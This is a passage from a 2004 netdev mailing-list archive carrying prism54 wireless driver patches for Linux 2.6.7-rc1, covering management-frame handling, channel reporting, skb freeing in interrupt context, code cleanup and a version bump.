PIMFOR_FLAG_LITTLE_ENDIAN) { + while ((void *) h < data + len) { + if (h->flags & PIMFOR_FLAG_LITTLE_ENDIAN) { le32_to_cpus(&h->oid); le32_to_cpus(&h->length); } else { @@ -108,8 +107,8 @@ islpci_mgmt_rx_fill(struct net_device *ndev) { islpci_private *priv =3D netdev_priv(ndev); - isl38xx_control_block *cb =3D /* volatile not needed */ - (isl38xx_control_block *) priv->control_block; + isl38xx_control_block *cb =3D /* volatile not needed */ + (isl38xx_control_block *) priv->control_block; u32 curr =3D le32_to_cpu(cb->driver_curr_frag[ISL38XX_CB_RX_MGMTQ]); =20 #if VERBOSE > SHOW_ERROR_MESSAGES @@ -124,7 +123,8 @@ if (buf->mem =3D=3D NULL) { buf->mem =3D kmalloc(MGMT_FRAME_SIZE, GFP_ATOMIC); if (!buf->mem) { - printk(KERN_WARNING "Error allocating management frame.\n"); + printk(KERN_WARNING + "Error allocating management frame.\n"); return -ENOMEM; } buf->size =3D MGMT_FRAME_SIZE; @@ -133,24 +133,24 @@ buf->pci_addr =3D pci_map_single(priv->pdev, buf->mem, MGMT_FRAME_SIZE, PCI_DMA_FROMDEVICE); - if(!buf->pci_addr) { - printk(KERN_WARNING "Failed to make memory DMA'able\n."); + if (!buf->pci_addr) { + printk(KERN_WARNING + "Failed to make memory DMA'able\n."); return -ENOMEM; } } =20 - /* be safe: always reset control block information */ + /* be safe: always reset control block information */ frag->size =3D cpu_to_le16(MGMT_FRAME_SIZE); frag->flags =3D 0; frag->address =3D cpu_to_le32(buf->pci_addr); curr++; =20 - /* The fragment address in the control block must have - * been written before announcing the frame buffer to - * device */ + /* The fragment address in the control block must have + * been written before announcing the frame buffer to + * device */ wmb(); - cb->driver_curr_frag[ISL38XX_CB_RX_MGMTQ] =3D - cpu_to_le32(curr); + cb->driver_curr_frag[ISL38XX_CB_RX_MGMTQ] =3D cpu_to_le32(curr); } return 0; } @@ -168,7 +168,7 @@ { islpci_private *priv =3D netdev_priv(ndev); isl38xx_control_block *cb =3D - (isl38xx_control_block *) priv->control_block; + (isl38xx_control_block *) priv->control_block; void *p; int err =3D -EINVAL; unsigned long flags; @@ -242,25 +242,25 @@ priv->mgmt_tx[index] =3D buf; frag =3D &cb->tx_data_mgmt[index]; frag->size =3D cpu_to_le16(frag_len); - frag->flags =3D 0; /* for any other than the last fragment, set to 1 */ + frag->flags =3D 0; /* for any other than the last fragment, set to 1 */ frag->address =3D cpu_to_le32(buf.pci_addr); =20 /* The fragment address in the control block must have * been written before announcing the frame buffer to * device */ wmb(); - cb->driver_curr_frag[ISL38XX_CB_TX_MGMTQ] =3D cpu_to_le32(curr_frag+1); + cb->driver_curr_frag[ISL38XX_CB_TX_MGMTQ] =3D cpu_to_le32(curr_frag + 1); spin_unlock_irqrestore(&priv->slock, flags); =20 /* trigger the device */ islpci_trigger(priv); return 0; =20 - error_unlock: + error_unlock: spin_unlock_irqrestore(&priv->slock, flags); - error_free: + error_free: kfree(buf.mem); - error: + error: return err; } =20 @@ -274,50 +274,48 @@ { islpci_private *priv =3D netdev_priv(ndev); isl38xx_control_block *cb =3D - (isl38xx_control_block *) priv->control_block; + (isl38xx_control_block *) priv->control_block; u32 curr_frag; =20 #if VERBOSE > SHOW_ERROR_MESSAGES DEBUG(SHOW_FUNCTION_CALLS, "islpci_mgt_receive \n"); #endif =20 - - /* Only once per interrupt, determine fragment range to - * process. This avoids an endless loop (i.e. lockup) if - * frames come in faster than we can process them. */ + /* Only once per interrupt, determine fragment range to + * process. This avoids an endless loop (i.e. lockup) if + * frames come in faster than we can process them. */ curr_frag =3D le32_to_cpu(cb->device_curr_frag[ISL38XX_CB_RX_MGMTQ]); barrier(); =20 - for ( ; priv->index_mgmt_rx < curr_frag; priv->index_mgmt_rx++) { + for (; priv->index_mgmt_rx < curr_frag; priv->index_mgmt_rx++) { pimfor_header_t *header; u32 index =3D priv->index_mgmt_rx % ISL38XX_CB_MGMT_QSIZE; struct islpci_membuf *buf =3D &priv->mgmt_rx[index]; u16 frag_len; int size; struct islpci_mgmtframe *frame; - =20 - /* I have no idea (and no documentation) if flags !=3D 0 - * is possible. Drop the frame, reuse the buffer. */ - if(le16_to_cpu(cb->rx_data_mgmt[index].flags) !=3D 0) { - printk(KERN_WARNING "%s: unknown flags 0x%04x\n", - ndev->name, - le16_to_cpu(cb->rx_data_mgmt[index].flags)); - continue; - } + + /* I have no idea (and no documentation) if flags !=3D 0 + * is possible. Drop the frame, reuse the buffer. */ + if (le16_to_cpu(cb->rx_data_mgmt[index].flags) !=3D 0) { + printk(KERN_WARNING "%s: unknown flags 0x%04x\n", + ndev->name, + le16_to_cpu(cb->rx_data_mgmt[index].flags)); + continue; + } =20 /* The device only returns the size of the header(s) here. */ frag_len =3D le16_to_cpu(cb->rx_data_mgmt[index].size); =20 /* - * We appear to have no way to tell the device the - * size of a receive buffer. Thus, if this check - * triggers, we likely have kernel heap corruption. */ - if (frag_len > MGMT_FRAME_SIZE) { - printk(KERN_WARNING "%s: Bogus packet size of %d (= %#x).\ -n", - ndev->name, frag_len, frag_len); - frag_len =3D MGMT_FRAME_SIZE; - } + * We appear to have no way to tell the device the + * size of a receive buffer. Thus, if this check + * triggers, we likely have kernel heap corruption. */ + if (frag_len > MGMT_FRAME_SIZE) { + printk(KERN_WARNING "%s: Bogus packet size of %d (%#x).\ +n", ndev->name, frag_len, frag_len); + frag_len =3D MGMT_FRAME_SIZE; + } =20 /* Ensure the results of device DMA are visible to the CPU. */ pci_dma_sync_single(priv->pdev, buf->pci_addr, @@ -339,30 +337,32 @@ #if VERBOSE > SHOW_ERROR_MESSAGES DEBUG(SHOW_PIMFOR_FRAMES, "PIMFOR: op %i, oid 0x%08x, device %i, flags 0x%x length 0x%x \n", - header->operation, header->oid, header->device_id,=20 + header->operation, header->oid, header->device_id, header->flags, header->length); =20 /* display the buffer contents for debugging */ display_buffer((char *) header, PIMFOR_HEADER_SIZE); - display_buffer((char *) header + PIMFOR_HEADER_SIZE, header->length); + display_buffer((char *) header + PIMFOR_HEADER_SIZE, + header->length); #endif =20 /* nobody sends these */ if (header->flags & PIMFOR_FLAG_APPLIC_ORIGIN) { - printk(KERN_DEBUG "%s: errant PIMFOR application frame\n", + printk(KERN_DEBUG + "%s: errant PIMFOR application frame\n", ndev->name); continue; } =20 /* Determine frame size, skipping OID_INL_TUNNEL headers. */ size =3D PIMFOR_HEADER_SIZE + header->length; - frame =3D kmalloc(sizeof(struct islpci_mgmtframe) + size, + frame =3D kmalloc(sizeof (struct islpci_mgmtframe) + size, GFP_ATOMIC); if (!frame) { - printk(KERN_WARNING "%s: Out of memory, cannot handle oid 0x%08x\n", - + printk(KERN_WARNING + "%s: Out of memory, cannot handle oid 0x%08x\n", ndev->name, header->oid); - continue; =20 + continue; } frame->ndev =3D ndev; memcpy(&frame->buf, header, size); @@ -382,7 +382,7 @@ header->oid, header->device_id, header->flags, header->length); #endif - =20 + /* Create work to handle trap out of interrupt * context. */ INIT_WORK(&frame->ws, prism54_process_trap, frame); @@ -392,14 +392,13 @@ /* Signal the one waiting process that a response * has been received. */ if ((frame =3D xchg(&priv->mgmt_received, frame)) !=3D NULL) { - printk(KERN_WARNING "%s: mgmt response not collected\n", + printk(KERN_WARNING + "%s: mgmt response not collected\n", ndev->name); kfree(frame); } - =20 #if VERBOSE > SHOW_ERROR_MESSAGES - DEBUG(SHOW_TRACING, - "Wake up Mgmt Queue\n"); + DEBUG(SHOW_TRACING, "Wake up Mgmt Queue\n"); #endif wake_up(&priv->mgmt_wqueue); } @@ -416,22 +415,22 @@ islpci_mgt_cleanup_transmit(struct net_device *ndev) { islpci_private *priv =3D netdev_priv(ndev); - isl38xx_control_block *cb =3D /* volatile not needed */ - (isl38xx_control_block *) priv->control_block; + isl38xx_control_block *cb =3D /* volatile not needed */ + (isl38xx_control_block *) priv->control_block; u32 curr_frag; =20 #if VERBOSE > SHOW_ERROR_MESSAGES - DEBUG(SHOW_FUNCTION_CALLS, "islpci_mgt_cleanup_transmit\n"); + DEBUG(SHOW_FUNCTION_CALLS, "islpci_mgt_cleanup_transmit\n"); #endif =20 /* Only once per cleanup, determine fragment range to * process. This avoids an endless loop (i.e. lockup) if * the device became confused, incrementing device_curr_frag * rapidly. */ - curr_frag =3D le32_to_cpu(cb->device_curr_frag[ISL38XX_CB_TX_MGMTQ]);=20 + curr_frag =3D le32_to_cpu(cb->device_curr_frag[ISL38XX_CB_TX_MGMTQ]); barrier(); =20 - for ( ; priv->index_mgmt_tx < curr_frag; priv->index_mgmt_tx++) { + for (; priv->index_mgmt_tx < curr_frag; priv->index_mgmt_tx++) { int index =3D priv->index_mgmt_tx % ISL38XX_CB_MGMT_QSIZE; struct islpci_membuf *buf =3D &priv->mgmt_tx[index]; pci_unmap_single(priv->pdev, buf->pci_addr, buf->size, @@ -462,7 +461,7 @@ =20 PRISM_DEFWAITQ(priv->mgmt_wqueue, wait); err =3D islpci_mgt_transmit(ndev, operation, oid, senddata, sendlen); - if(err) + if (err) goto out; =20 err =3D -ETIMEDOUT; @@ -473,12 +472,22 @@ timeleft =3D schedule_timeout(wait_cycle_jiffies); frame =3D xchg(&priv->mgmt_received, NULL); if (frame) { - *recvframe =3D frame; - err =3D 0; - goto out; + if (frame->header->oid =3D=3D oid) { + *recvframe =3D frame; + err =3D 0; + goto out; + } else { + printk(KERN_DEBUG + "%s: expecting oid 0x%x, received 0x%x.\n", + ndev->name, (unsigned int) oid, + frame->header->oid); + kfree(frame); + frame =3D NULL; + } } - if(timeleft =3D=3D 0) { - printk(KERN_DEBUG "%s: timeout waiting for mgmt response %lu, trigging = device\n", + if (timeleft =3D=3D 0) { + printk(KERN_DEBUG + "%s: timeout waiting for mgmt response %lu, trigging device\n", ndev->name, timeout_left); islpci_trigger(priv); } @@ -487,10 +496,9 @@ printk(KERN_WARNING "%s: timeout waiting for mgmt response\n", ndev->name); =20 - /* TODO: we should reset the device here */ =20 - out: + /* TODO: we should reset the device here */ + out: PRISM_ENDWAITQ(priv->mgmt_wqueue, wait); up(&priv->mgmt_sem); return err; } - Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/oid_mgt.c,v retrieving revision 1.13 retrieving revision 1.14 diff -u -r1.13 -r1.14 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 22 Mar 2004 11:2= 1:22 -0000 1.13 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 9 Apr 2004 11:42= :25 -0000 1.14 @@ -40,17 +40,13 @@ if ((f >=3D 2412) && (f <=3D 2484)) { while ((c < 14) && (f !=3D frequency_list_bg[c])) c++; - if (c >=3D 14) - return 0; + return (c >=3D 14) ? 0 : ++c; } else if ((f >=3D (int) 5170) && (f <=3D (int) 5320)) { while ((c < 12) && (f !=3D frequency_list_a[c])) c++; - if (c >=3D 12) - return 0; + return (c >=3D 12) ? 0 : (c + 37); } else return 0; - - return ++c; } =20 #define OID_STRUCT(name,oid,s,t) [name] =3D {oid, 0, sizeof(s), t} --lh55S0yADJsuIVGW-- --ibhTSt8h7StI2D+z Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbNSat1JN+IKUl4RAiHLAJ443XOJfDwRCFhUNHEVz512tIMyfgCgj/7B BIe7NQiKazNPmvtv7k0e7sk= =BYKF -----END PGP SIGNATURE----- --ibhTSt8h7StI2D+z-- From mcgrof@studorgs.rutgers.edu Mon May 24 01:34:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:34:46 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8Y5KO013802 for ; Mon, 24 May 2004 01:34:05 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id DAD4DF9D55; Mon, 24 May 2004 04:34:04 -0400 (EDT) Date: Mon, 24 May 2004 04:34:04 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 14/14 linux-2.6.7-rc1] prism54: Fix channel stats; bump to 1.2 Message-ID: <20040524083404.GO3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Cjvo8w+V8lMs5Jsv" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5270 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --Cjvo8w+V8lMs5Jsv Content-Type: multipart/mixed; boundary="lHWX6A2F7795X8SZ" Content-Disposition: inline --lHWX6A2F7795X8SZ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-05-20 Aurelien Alleaume * islpci_eth.c : use dev_kfree_skb_irq instead of dev_kfree_skb where neede= d. * isl_ioctl.c : report channel instead of frequency in scan. * islpci_hotplug.c : bump version to 1.2 --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --lHWX6A2F7795X8SZ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="14-fix-channel.patch" Content-Transfer-Encoding: quoted-printable 2004-05-20 Aurelien Alleaume * islpci_eth.c : use dev_kfree_skb_irq instead of dev_kfree_skb where needed. * isl_ioctl.c : report channel instead of frequency in scan. * islpci_hotplug.c : bump version to 1.2 Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v retrieving revision 1.153 retrieving revision 1.154 diff -u -r1.153 -r1.154 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 22 Apr 2004 12= :20:39 -0000 1.153 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 20 May 2004 06= :24:11 -0000 1.154 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.153 2004/04/22 1= 2:20:39 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.154 2004/05/20 0= 6:24:11 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * (C) 2003,2004 Aurelien Alleaume @@ -629,8 +629,8 @@ current_ev =3D iwe_stream_add_point(current_ev, end_buf, &iwe, NULL); =20 /* Add frequency. (short) bss->channel is the frequency in MHz */ - iwe.u.freq.m =3D bss->channel; - iwe.u.freq.e =3D 6; + iwe.u.freq.m =3D channel_of_freq(bss->channel); + iwe.u.freq.e =3D 0; iwe.cmd =3D SIOCGIWFREQ; current_ev =3D iwe_stream_add_event(current_ev, end_buf, &iwe, IW_EV_FREQ_LEN); Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v retrieving revision 1.36 retrieving revision 1.37 diff -u -r1.36 -r1.37 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 26 Apr 2004 1= 0:09:58 -0000 1.36 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 20 May 2004 0= 6:24:12 -0000 1.37 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.36 2004/04/26 1= 0:09:58 msw Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.37 2004/05/20 0= 6:24:12 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2004 Aurelien Alleaume @@ -275,7 +275,7 @@ avs_80211_1_header), 0, GFP_ATOMIC); if (newskb) { - kfree_skb(*skb); + dev_kfree_skb_irq(*skb); *skb =3D newskb; } else return -1; @@ -419,7 +419,7 @@ skb->data[4], skb->data[5]); #endif if (unlikely(discard)) { - dev_kfree_skb(skb); + dev_kfree_skb_irq(skb); skb =3D NULL; } else netif_rx(skb); @@ -462,7 +462,7 @@ "Error mapping DMA address\n"); =20 /* free the skbuf structure before aborting */ - dev_kfree_skb((struct sk_buff *) skb); + dev_kfree_skb_irq((struct sk_buff *) skb); skb =3D NULL; break; } Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_hotplug.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_hotplug.c,v retrieving revision 1.59 retrieving revision 1.60 diff -u -r1.59 -r1.60 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_hotplug.c 20 Mar 20= 04 16:58:36 -0000 1.59 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_hotplug.c 13 May 20= 04 13:19:47 -0000 1.60 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_hotplug.c,v 1.59 2004/03/= 20 16:58:36 mcgrof Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_hotplug.c,v 1.60 2004/05/= 13 13:19:47 msw Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Herbert Valerio Riedel @@ -30,7 +30,7 @@ #include "isl_oid.h" =20 #define DRV_NAME "prism54" -#define DRV_VERSION "1.1" +#define DRV_VERSION "1.2" =20 MODULE_AUTHOR("[Intersil] R.Bastings and W.Termorshuizen, The prism54.org = Development Team "); MODULE_DESCRIPTION("The Prism54 802.11 Wireless LAN adapter"); --lHWX6A2F7795X8SZ-- --Cjvo8w+V8lMs5Jsv Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbN8at1JN+IKUl4RAsNUAJoDxajf9GvRFRywoQA0vnfdJRoregCfXgK6 9EhXsN2WzobIrwrBe0s+Goc= =JAR5 -----END PGP SIGNATURE----- --Cjvo8w+V8lMs5Jsv-- From mcgrof@studorgs.rutgers.edu Mon May 24 01:33:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:36:14 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8XUKO013690 for ; Mon, 24 May 2004 01:33:31 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 5F446F9D4B; Mon, 24 May 2004 04:33:30 -0400 (EDT) Date: Mon, 24 May 2004 04:33:30 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 10/14 linux-2.6.7-rc1] prism54: Don't allow mib reads while unconfigured Message-ID: <20040524083330.GK3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="cGn0fZIJon5R7R2H" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5271 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --cGn0fZIJon5R7R2H Content-Type: multipart/mixed; boundary="yQifGgTvVVJcdOYJ" Content-Disposition: inline --yQifGgTvVVJcdOYJ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-04-17 Aurelien Alleaume * oid_mgt.c, isl_ioctl.c : Cleanup. Prevented real oid reading before the card is configured with mib values (might be related to bug #53). --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --yQifGgTvVVJcdOYJ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="10-prevent-oid-read-before-config.patch" Content-Transfer-Encoding: quoted-printable 2004-04-17 Aurelien Alleaume * oid_mgt.c, isl_ioctl.c : Cleanup. Prevented real oid reading before the card is configured with mib values (might be related to=20 bug #53). Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v retrieving revision 1.151 retrieving revision 1.152 diff -u -r1.151 -r1.152 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 9 Apr 2004 11:= 42:25 -0000 1.151 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 17 Apr 2004 08= :46:04 -0000 1.152 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.151 2004/04/09 1= 1:42:25 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.152 2004/04/17 0= 8:46:04 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * (C) 2003,2004 Aurelien Alleaume @@ -173,14 +173,6 @@ prism54_mib_mode_helper(priv, init_mode); } =20 -void -prism54_mib_init_work(islpci_private *priv) -{ - down_write(&priv->mib_sem); - mgt_commit(priv); - up_write(&priv->mib_sem); -} - /* this will be executed outside of atomic context thanks to * schedule_work(), thus we can as well use sleeping semaphore * locking */ @@ -195,13 +187,6 @@ if (down_interruptible(&priv->stats_sem)) return; =20 -/* missing stats are : - * iwstatistics.qual.updated - * iwstatistics.discard.nwid =20 - * iwstatistics.discard.fragment =20 - * iwstatistics.discard.misc - * iwstatistics.miss.beacon */ - /* Noise floor. * I'm not sure if the unit is dBm. * Note : If we are not connected, this value seems to be irrelevant. */ @@ -425,7 +410,6 @@ /* by default the card sets this to 20. */ sens =3D vwrq->disabled ? 20 : vwrq->value; =20 - /* set the ed threshold. */ return mgt_set_request(priv, DOT11_OID_EDTHRESHOLD, 0, &sens); } =20 @@ -534,9 +518,7 @@ i++; data++; } - range->num_bitrates =3D i; - kfree(r.ptr); =20 return rvalue; @@ -575,7 +557,6 @@ int rvalue; =20 rvalue =3D mgt_get_request(priv, DOT11_OID_BSSID, 0, NULL, &r); - memcpy(awrq->sa_data, r.ptr, 6); awrq->sa_family =3D ARPHRD_ETHER; kfree(r.ptr); @@ -685,7 +666,6 @@ kfree(buf); } } - return current_ev; } =20 @@ -712,7 +692,7 @@ =20 /* Ask the device for a list of known bss. We can report at most * IW_MAX_AP=3D64 to the range struct. But the device won't repport anyth= ing - * if you change the value of MAXBSS=3D24. Anyway 24 AP It is probably en= ough. + * if you change the value of IWMAX_BSS=3D24. */ rvalue |=3D mgt_get_request(priv, DOT11_OID_BSSLIST, 0, NULL, &r); bsslist =3D r.ptr; @@ -969,8 +949,6 @@ * small frame <=3D> smaller than the rts threshold * This is not really the behavior expected by the wireless tool but it se= ems * to be a common behavior in other drivers. - *=20 - * It seems that playing with this tends to hang the card -> DISABLED */ =20 static int @@ -1002,18 +980,16 @@ lifetime =3D vwrq->value / 1024; =20 /* now set what is requested */ - - if (slimit !=3D 0) + if (slimit) rvalue =3D mgt_set_request(priv, DOT11_OID_SHORTRETRIES, 0, &slimit); - if (llimit !=3D 0) + if (llimit) rvalue |=3D mgt_set_request(priv, DOT11_OID_LONGRETRIES, 0, &llimit); - if (lifetime !=3D 0) + if (lifetime) rvalue |=3D mgt_set_request(priv, DOT11_OID_MAXTXLIFETIME, 0, &lifetime); - return rvalue; } =20 @@ -1109,8 +1085,7 @@ } } } - - /* now read the flags */ + /* now read the flags */ if (dwrq->flags & IW_ENCODE_DISABLED) { /* Encoding disabled,=20 * authen =3D DOT11_AUTH_OS; @@ -1261,11 +1236,6 @@ prism54_set_u32(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - /* - u32 *i =3D (int *) extra; - int param =3D *i; - int u =3D *(i + 1); - */ u32 oid =3D uwrq[0], u =3D uwrq[1]; =20 return mgt_set_request((islpci_private *) ndev->priv, oid, 0, &u); @@ -1836,9 +1806,7 @@ 0); break; =20 - /* Note : the following should never happen since we don't run the card = in - * extended mode. - * Note : "mlme" is actually a "struct obj_mlmeex *" here, but this + /* Note : "mlme" is actually a "struct obj_mlmeex *" here, but this * is backward compatible layout-wise with "struct obj_mlme". */ =20 Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.h,v retrieving revision 1.31 retrieving revision 1.32 diff -u -r1.31 -r1.32 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.h 18 Mar 2004 05= :25:24 -0000 1.31 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.h 17 Apr 2004 08= :46:04 -0000 1.32 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.h,v 1.30 2004/01/30 16= :24:00 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.h,v 1.32 2004/04/17 08= :46:04 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * (C) 2003 Aurelien Alleaume @@ -30,7 +30,6 @@ #define SUPPORTED_WIRELESS_EXT 16 =20 void prism54_mib_init(islpci_private *); -void prism54_mib_init_work(islpci_private *); =20 struct iw_statistics *prism54_get_wireless_stats(struct net_device *); void prism54_update_stats(islpci_private *); Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v retrieving revision 1.74 retrieving revision 1.75 diff -u -r1.74 -r1.75 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 7 Apr 2004 04= :12:12 -0000 1.74 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 17 Apr 2004 0= 8:46:04 -0000 1.75 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.74 2004/04/07 0= 4:12:12 msw Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.75 2004/04/17 0= 8:46:04 ajfa Exp $ * =20 * 